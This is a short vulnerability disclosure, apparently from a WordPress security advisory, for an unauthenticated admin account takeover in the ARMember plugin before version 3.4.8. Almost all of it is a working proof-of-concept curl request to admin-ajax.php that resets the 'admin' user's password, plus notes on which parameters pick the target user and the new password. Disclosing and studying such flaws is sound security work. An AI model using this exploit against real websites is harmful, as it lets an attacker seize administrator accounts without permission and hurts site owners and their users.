ARMember < 3.4.8 - Unauthenticated Admin Account Takeover

Proof of Concept

curl 'https://example.com/wp-admin/admin-ajax.php' \
    --data 'action=arm_shortcode_form_ajax_action&user_pass=newpassword&repeat_pass=newpassword&arm_action=change-password&key2=x&action2=rp&login2=admin'

Notes:
+ The `login2` parameter corresponds to the username to change the password for (in our case it's the "admin" user)
+ The `user_pass` and `repeat_pass` correspond to the new password to be set (both fields must be set to the same password)